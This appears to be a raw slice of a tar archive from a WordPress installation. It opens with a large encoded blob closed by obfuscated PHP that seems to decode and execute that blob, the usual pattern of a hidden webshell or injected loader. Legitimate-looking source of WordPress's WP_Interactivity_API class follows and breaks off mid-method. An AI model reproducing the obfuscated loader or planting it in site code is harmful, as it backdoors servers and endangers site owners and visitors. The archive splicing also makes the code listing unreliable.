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';$___();$__________($______($__($_))); $________=$____(); $_____(); echo $________;��class-wp-interactivity-api.php��0000644��00000127325�15014733643�0012471 0��ustar�00��<?php /* * Interactivity API: WP_Interactivity_API class. * * @package WordPress * @subpackage Interactivity API * @since 6.5.0 / /* * Class used to process the Interactivity API on the server. * * @since 6.5.0 / final class WP_Interactivity_API { /* * Holds the mapping of directive attribute names to their processor methods. * * @since 6.5.0 * @var array / private static $directive_processors = array( 'data-wp-interactive' => 'data_wp_interactive_processor', 'data-wp-router-region' => 'data_wp_router_region_processor', 'data-wp-context' => 'data_wp_context_processor', 'data-wp-bind' => 'data_wp_bind_processor', 'data-wp-class' => 'data_wp_class_processor', 'data-wp-style' => 'data_wp_style_processor', 'data-wp-text' => 'data_wp_text_processor', / * `data-wp-each` needs to be processed in the last place because it moves * the cursor to the end of the processed items to prevent them to be * processed twice. / 'data-wp-each' => 'data_wp_each_processor', ); /* * Holds the initial state of the different Interactivity API stores. * * This state is used during the server directive processing. Then, it is * serialized and sent to the client as part of the interactivity data to be * recovered during the hydration of the client interactivity stores. * * @since 6.5.0 * @var array / private $state_data = array(); /* * Holds the configuration required by the different Interactivity API stores. * * This configuration is serialized and sent to the client as part of the * interactivity data and can be accessed by the client interactivity stores. * * @since 6.5.0 * @var array / private $config_data = array(); /* * Flag that indicates whether the `data-wp-router-region` directive has * been found in the HTML and processed. * * The value is saved in a private property of the WP_Interactivity_API * instance instead of using a static variable inside the processor * function, which would hold the same value for all instances * independently of whether they have processed any * `data-wp-router-region` directive or not. * * @since 6.5.0 * @var bool / private $has_processed_router_region = false; /* * Stack of namespaces defined by `data-wp-interactive` directives, in * the order they are processed. * * This is only available during directive processing, otherwise it is `null`. * * @since 6.6.0 * @var array<string>\|null / private $namespace_stack = null; /* * Stack of contexts defined by `data-wp-context` directives, in * the order they are processed. * * This is only available during directive processing, otherwise it is `null`. * * @since 6.6.0 * @var array<array<mixed>>\|null / private $context_stack = null; /* * Representation in array format of the element currently being processed. * * This is only available during directive processing, otherwise it is `null`. * * @since 6.7.0 * @var array{attributes: array<string, string\|bool>}\|null / private $current_element = null; /* * Gets and/or sets the initial state of an Interactivity API store for a * given namespace. * * If state for that store namespace already exists, it merges the new * provided state with the existing one. * * When no namespace is specified, it returns the state defined for the * current value in the internal namespace stack during a `process_directives` call. * * @since 6.5.0 * @since 6.6.0 The `$store_namespace` param is optional. * * @param string $store_namespace Optional. The unique store namespace identifier. * @param array $state Optional. The array that will be merged with the existing state for the specified * store namespace. * @return array The current state for the specified store namespace. This will be the updated state if a $state * argument was provided. / public function state( ?string $store_namespace = null, ?array $state = null ): array { if ( ! $store_namespace ) { if ( $state ) { _doing_it_wrong( __METHOD__, __( 'The namespace is required when state data is passed.' ), '6.6.0' ); return array(); } if ( null !== $store_namespace ) { _doing_it_wrong( __METHOD__, __( 'The namespace should be a non-empty string.' ), '6.6.0' ); return array(); } if ( null === $this->namespace_stack ) { _doing_it_wrong( __METHOD__, __( 'The namespace can only be omitted during directive processing.' ), '6.6.0' ); return array(); } $store_namespace = end( $this->namespace_stack ); } if ( ! isset( $this->state_data[ $store_namespace ] ) ) { $this->state_data[ $store_namespace ] = array(); } if ( is_array( $state ) ) { $this->state_data[ $store_namespace ] = array_replace_recursive( $this->state_data[ $store_namespace ], $state ); } return $this->state_data[ $store_namespace ]; } /* * Gets and/or sets the configuration of the Interactivity API for a given * store namespace. * * If configuration for that store namespace exists, it merges the new * provided configuration with the existing one. * * @since 6.5.0 * * @param string $store_namespace The unique store namespace identifier. * @param array $config Optional. The array that will be merged with the existing configuration for the * specified store namespace. * @return array The configuration for the specified store namespace. This will be the updated configuration if a * $config argument was provided. / public function config( string $store_namespace, array $config = array() ): array { if ( ! isset( $this->config_data[ $store_namespace ] ) ) { $this->config_data[ $store_namespace ] = array(); } if ( is_array( $config ) ) { $this->config_data[ $store_namespace ] = array_replace_recursive( $this->config_data[ $store_namespace ], $config ); } return $this->config_data[ $store_namespace ]; } /* * Prints the serialized client-side interactivity data. * * Encodes the config and initial state into JSON and prints them inside a * script tag of type "application/json". Once in the browser, the state will * be parsed and used to hydrate the client-side interactivity stores and the * configuration will be available using a `getConfig` utility. * * @since 6.5.0 * * @deprecated 6.7.0 Client data passing is handled by the {@see "script_module_data_{$module_id}"} filter. / public function print_client_interactivity_data() { _deprecated_function( __METHOD__, '6.7.0' ); } /* * Set client-side interactivity-router data. * * Once in the browser, the state will be parsed and used to hydrate the client-side * interactivity stores and the configuration will be available using a `getConfig` utility. * * @since 6.7.0 * * @param array $data Data to filter. * @return array Data for the Interactivity Router script module. / public function filter_script_module_interactivity_router_data( array $data ): array { if ( ! isset( $data['i18n'] ) ) { $data['i18n'] = array(); } $data['i18n']['loading'] = __( 'Loading page, please wait.' ); $data['i18n']['loaded'] = __( 'Page Loaded.' ); return $data; } /* * Set client-side interactivity data. * * Once in the browser, the state will be parsed and used to hydrate the client-side * interactivity stores and the configuration will be available using a `getConfig` utility. * * @since 6.7.0 * * @param array $data Data to filter. * @return array Data for the Interactivity API script module. / public function filter_script_module_interactivity_data( array $data ): array { if ( empty( $this->state_data ) && empty( $this->config_data ) ) { return $data; } $config = array(); foreach ( $this->config_data as $key => $value ) { if ( ! empty( $value ) ) { $config[ $key ] = $value; } } if ( ! empty( $config ) ) { $data['config'] = $config; } $state = array(); foreach ( $this->state_data as $key => $value ) { if ( ! empty( $value ) ) { $state[ $key ] = $value; } } if ( ! empty( $state ) ) { $data['state'] = $state; } return $data; } /* * Returns the latest value on the context stack with the passed namespace. * * When the namespace is omitted, it uses the current namespace on the * namespace stack during a `process_directives` call. * * @since 6.6.0 * * @param string $store_namespace Optional. The unique store namespace identifier. / public function get_context( ?string $store_namespace = null ): array { if ( null === $this->context_stack ) { _doing_it_wrong( __METHOD__, __( 'The context can only be read during directive processing.' ), '6.6.0' ); return array(); } if ( ! $store_namespace ) { if ( null !== $store_namespace ) { _doing_it_wrong( __METHOD__, __( 'The namespace should be a non-empty string.' ), '6.6.0' ); return array(); } $store_namespace = end( $this->namespace_stack ); } $context = end( $this->context_stack ); return ( $store_namespace && $context && isset( $context[ $store_namespace ] ) ) ? $context[ $store_namespace ] : array(); } /* * Returns an array representation of the current element being processed. * * The returned array contains a copy of the element attributes. * * @since 6.7.0 * * @return array{attributes: array<string, string\|bool>}\|null Current element. / public function get_element(): ?array { if ( null === $this->current_element ) { _doing_it_wrong( __METHOD__, __( 'The element can only be read during directive processing.' ), '6.7.0' ); } return $this->current_element; } /* * Registers the `@wordpress/interactivity` script modules. * * @deprecated 6.7.0 Script Modules registration is handled by {@see wp_default_script_modules()}. * * @since 6.5.0 / public function register_script_modules() { _deprecated_function( __METHOD__, '6.7.0', 'wp_default_script_modules' ); } /* * Adds the necessary hooks for the Interactivity API. * * @since 6.5.0 / public function add_hooks() { add_filter( 'script_module_data_@wordpress/interactivity', array( $this, 'filter_script_module_interactivity_data' ) ); add_filter( 'script_module_data_@wordpress/interactivity-router', array( $this, 'filter_script_module_interactivity_router_data' ) ); } /* * Processes the interactivity directives contained within the HTML content * and updates the markup accordingly. * * @since 6.5.0 * * @param string $html The HTML content to process. * @return string The processed HTML content. It returns the original content when the HTML contains unbalanced tags. / public function process_directives( string $html ): string { if ( ! str_contains( $html, 'data-wp-' ) ) { return $html; } $this->namespace_stack = array(); $this->context_stack = array(); $result = $this->_process_directives( $html ); $this->namespace_stack = null; $this->context_stack = null; return null === $result ? $html : $result; } /* * Processes the interactivity directives contained within the HTML content * and updates the markup accordingly. * * It uses the WP_Interactivity_API instance's context and namespace stacks, * which are shared between all calls. * * This method returns null if the HTML contains unbalanced tags. * * @since 6.6.0 * * @param string $html The HTML content to process. * @return string\|null The processed HTML content. It returns null when the HTML contains unbalanced tags. / private function _process_directives( string $html ) { $p = new WP_Interactivity_API_Directives_Processor( $html ); $tag_stack = array(); $unbalanced = false; $directive_processor_prefixes = array_keys( self::$directive_processors ); $directive_processor_prefixes_reversed = array_reverse( $directive_processor_prefixes ); / * Save the current size for each stack to restore them in case * the processing finds unbalanced tags. / $namespace_stack_size = count( $this->namespace_stack ); $context_stack_size = count( $this->context_stack ); while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) { $tag_name = $p->get_tag(); / * Directives inside SVG and MATH tags are not processed, * as they are not compatible with the Tag Processor yet. * We still process the rest of the HTML. / if ( 'SVG' === $tag_name \|\| 'MATH' === $tag_name ) { if ( $p->get_attribute_names_with_prefix( 'data-wp-' ) ) { / translators: 1: SVG or MATH HTML tag, 2: Namespace of the interactive block. / $message = sprintf( __( 'Interactivity directives were detected on an incompatible %1$s tag when processing "%2$s". These directives will be ignored in the server side render.' ), $tag_name, end( $this->namespace_stack ) ); _doing_it_wrong( __METHOD__, $message, '6.6.0' ); } $p->skip_to_tag_closer(); continue; } if ( $p->is_tag_closer() ) { list( $opening_tag_name, $directives_prefixes ) = end( $tag_stack ); if ( 0 === count( $tag_stack ) \|\| $opening_tag_name !== $tag_name ) { / * If the tag stack is empty or the matching opening tag is not the * same than the closing tag, it means the HTML is unbalanced and it * stops processing it. / $unbalanced = true; break; } else { // Remove the last tag from the stack. array_pop( $tag_stack ); } } else { if ( 0 !== count( $p->get_attribute_names_with_prefix( 'data-wp-each-child' ) ) ) { / * If the tag has a `data-wp-each-child` directive, jump to its closer * tag because those tags have already been processed. / $p->next_balanced_tag_closer_tag(); continue; } else { $directives_prefixes = array(); // Checks if there is a server directive processor registered for each directive. foreach ( $p->get_attribute_names_with_prefix( 'data-wp-' ) as $attribute_name ) { if ( ! preg_match( / * This must align with the client-side regex used by the interactivity API. * @see https://github.com/WordPress/gutenberg/blob/ca616014255efbb61f34c10917d52a2d86c1c660/packages/interactivity/src/vdom.ts#L20-L32 / '/' . '^data-wp-' . // Match alphanumeric characters including hyphen-separated // segments. It excludes underscore intentionally to prevent confusion. // E.g., "custom-directive". '([a-z0-9]+(?:-[a-z0-9]+))' . // (Optional) Match '--' followed by any alphanumeric charachters. It // excludes underscore intentionally to prevent confusion, but it can // contain multiple hyphens. E.g., "--custom-prefix--with-more-info". '(?:--([a-z0-9_-]+))?$' . '/i', $attribute_name ) ) { continue; } list( $directive_prefix ) = $this->extract_prefix_and_suffix( $attribute_name ); if ( array_key_exists( $directive_prefix, self::$directive_processors ) ) { $directives_prefixes[] = $directive_prefix; } } /* * If this tag will visit its closer tag, it adds it to the tag stack * so it can process its closing tag and check for unbalanced tags. / if ( $p->has_and_visits_its_closer_tag() ) { $tag_stack[] = array( $tag_name, $directives_prefixes ); } } } / * If the matching opener tag didn't have any directives, it can skip the * processing. / if ( 0 === count( $directives_prefixes ) ) { continue; } // Directive processing might be different depending on if it is entering the tag or exiting it. $modes = array( 'enter' => ! $p->is_tag_closer(), 'exit' => $p->is_tag_closer() \|\| ! $p->has_and_visits_its_closer_tag(), ); // Get the element attributes to include them in the element representation. $element_attrs = array(); $attr_names = $p->get_attribute_names_with_prefix( '' ) ?? array(); foreach ( $attr_names as $name ) { $element_attrs[ $name ] = $p->get_attribute( $name ); } // Assign the current element right before running its directive processors. $this->current_element = array( 'attributes' => $element_attrs, ); foreach ( $modes as $mode => $should_run ) { if ( ! $should_run ) { continue; } / * Sorts the attributes by the order of the `directives_processor` array * and checks what directives are present in this element. / $existing_directives_prefixes = array_intersect( 'enter' === $mode ? $directive_processor_prefixes : $directive_processor_prefixes_reversed, $directives_prefixes ); foreach ( $existing_directives_prefixes as $directive_prefix ) { $func = is_array( self::$directive_processors[ $directive_prefix ] ) ? self::$directive_processors[ $directive_prefix ] : array( $this, self::$directive_processors[ $directive_prefix ] ); call_user_func_array( $func, array( $p, $mode, &$tag_stack ) ); } } // Clear the current element. $this->current_element = null; } if ( $unbalanced ) { // Reset the namespace and context stacks to their previous values. array_splice( $this->namespace_stack, $namespace_stack_size ); array_splice( $this->context_stack, $context_stack_size ); } / * It returns null if the HTML is unbalanced because unbalanced HTML is * not safe to process. In that case, the Interactivity API runtime will * update the HTML on the client side during the hydration. It will also * display a notice to the developer to inform them about the issue. / if ( $unbalanced \|\| 0 < count( $tag_stack ) ) { $tag_errored = 0 < count( $tag_stack ) ? end( $tag_stack )[0] : $tag_name; / translators: %1s: Namespace processed, %2s: The tag that caused the error; could be any HTML tag. / $message = sprintf( __( 'Interactivity directives failed to process in "%1$s" due to a missing "%2$s" end tag.' ), end( $this->namespace_stack ), $tag_errored ); _doing_it_wrong( __METHOD__, $message, '6.6.0' ); return null; } return $p->get_updated_html(); } /* * Evaluates the reference path passed to a directive based on the current * store namespace, state and context. * * @since 6.5.0 * @since 6.6.0 The function now adds a warning when the namespace is null, falsy, or the directive value is empty. * @since 6.6.0 Removed `default_namespace` and `context` arguments. * @since 6.6.0 Add support for derived state. * * @param string\|true $directive_value The directive attribute value string or `true` when it's a boolean attribute. * @return mixed\|null The result of the evaluation. Null if the reference path doesn't exist or the namespace is falsy. / private function evaluate( $directive_value ) { $default_namespace = end( $this->namespace_stack ); $context = end( $this->context_stack ); list( $ns, $path ) = $this->extract_directive_value( $directive_value, $default_namespace ); if ( ! $ns \|\| ! $path ) { / translators: %s: The directive value referenced. / $message = sprintf( __( 'Namespace or reference path cannot be empty. Directive value referenced: %s' ), $directive_value ); _doing_it_wrong( __METHOD__, $message, '6.6.0' ); return null; } $store = array( 'state' => $this->state_data[ $ns ] ?? array(), 'context' => $context[ $ns ] ?? array(), ); // Checks if the reference path is preceded by a negation operator (!). $should_negate_value = '!' === $path[0]; $path = $should_negate_value ? substr( $path, 1 ) : $path; // Extracts the value from the store using the reference path. $path_segments = explode( '.', $path ); $current = $store; foreach ( $path_segments as $path_segment ) { / * Special case for numeric arrays and strings. Add length * property mimicking JavaScript behavior. * * @since 6.8.0 / if ( 'length' === $path_segment ) { if ( is_array( $current ) && array_is_list( $current ) ) { $current = count( $current ); break; } if ( is_string( $current ) ) { / * Differences in encoding between PHP strings and * JavaScript mean that it's complicated to calculate * the string length JavaScript would see from PHP. * `strlen` is a reasonable approximation. * * Users that desire a more precise length likely have * more precise needs than "bytelength" and should * implement their own length calculation in derived * state taking into account encoding and their desired * output (codepoints, graphemes, bytes, etc.). / $current = strlen( $current ); break; } } if ( ( is_array( $current ) \|\| $current instanceof ArrayAccess ) && isset( $current[ $path_segment ] ) ) { $current = $current[ $path_segment ]; } elseif ( is_object( $current ) && isset( $current->$path_segment ) ) { $current = $current->$path_segment; } else { $current = null; break; } if ( $current instanceof Closure ) { / * This state getter's namespace is added to the stack so that * `state()` or `get_config()` read that namespace when called * without specifying one. / array_push( $this->namespace_stack, $ns ); try { $current = $current(); } catch ( Throwable $e ) { _doing_it_wrong( __METHOD__, sprintf( / translators: 1: Path pointing to an Interactivity API state property, 2: Namespace for an Interactivity API store. / __( 'Uncaught error executing a derived state callback with path "%1$s" and namespace "%2$s".' ), $path, $ns ), '6.6.0' ); return null; } finally { // Remove the property's namespace from the stack. array_pop( $this->namespace_stack ); } } } // Returns the opposite if it contains a negation operator (!). return $should_negate_value ? ! $current : $current; } /* * Extracts the directive attribute name to separate and return the directive * prefix and an optional suffix. * * The suffix is the string after the first double hyphen and the prefix is * everything that comes before the suffix. * * Example: * * extract_prefix_and_suffix( 'data-wp-interactive' ) => array( 'data-wp-interactive', null ) * extract_prefix_and_suffix( 'data-wp-bind--src' ) => array( 'data-wp-bind', 'src' ) * extract_prefix_and_suffix( 'data-wp-foo--and--bar' ) => array( 'data-wp-foo', 'and--bar' ) * * @since 6.5.0 * * @param string $directive_name The directive attribute name. * @return array An array containing the directive prefix and optional suffix. / private function extract_prefix_and_suffix( string $directive_name ): array { return explode( '--', $directive_name, 2 ); } /* * Parses and extracts the namespace and reference path from the given * directive attribute value. * * If the value doesn't contain an explicit namespace, it returns the * default one. If the value contains a JSON object instead of a reference * path, the function tries to parse it and return the resulting array. If * the value contains strings that represent booleans ("true" and "false"), * numbers ("1" and "1.2") or "null", the function also transform them to * regular booleans, numbers and `null`. * * Example: * * extract_directive_value( 'actions.foo', 'myPlugin' ) => array( 'myPlugin', 'actions.foo' ) * extract_directive_value( 'otherPlugin::actions.foo', 'myPlugin' ) => array( 'otherPlugin', 'actions.foo' ) * extract_directive_value( '{ "isOpen": false }', 'myPlugin' ) => array( 'myPlugin', array( 'isOpen' => false ) ) * extract_directive_value( 'otherPlugin::{ "isOpen": false }', 'myPlugin' ) => array( 'otherPlugin', array( 'isOpen' => false ) ) * * @since 6.5.0 * * @param string\|true $directive_value The directive attribute value. It can be `true` when it's a boolean * attribute. * @param string\|null $default_namespace Optional. The default namespace if none is explicitly defined. * @return array An array containing the namespace in the first item and the JSON, the reference path, or null on the * second item. / private function extract_directive_value( $directive_value, $default_namespace = null ): array { if ( empty( $directive_value ) \|\| is_bool( $directive_value ) ) { return array( $default_namespace, null ); } // Replaces the value and namespace if there is a namespace in the value. if ( 1 === preg_match( '/^([\w\-_\/]+)::./', $directive_value ) ) { list($default_namespace, $directive_value) = explode( '::', $directive_value, 2 ); } / * Tries to decode the value as a JSON object. If it fails and the value * isn't `null`, it returns the value as it is. Otherwise, it returns the * decoded JSON or null for the string `null`. / $decoded_json = json_decode( $directive_value, true ); if ( null !== $decoded_json \|\| 'null' === $directive_value ) { $directive_value = $decoded_json; } return array( $default_namespace, $directive_value ); } /* * Transforms a kebab-case string to camelCase. * * @param string $str The kebab-case string to transform to camelCase. * @return string The transformed camelCase string. / private function 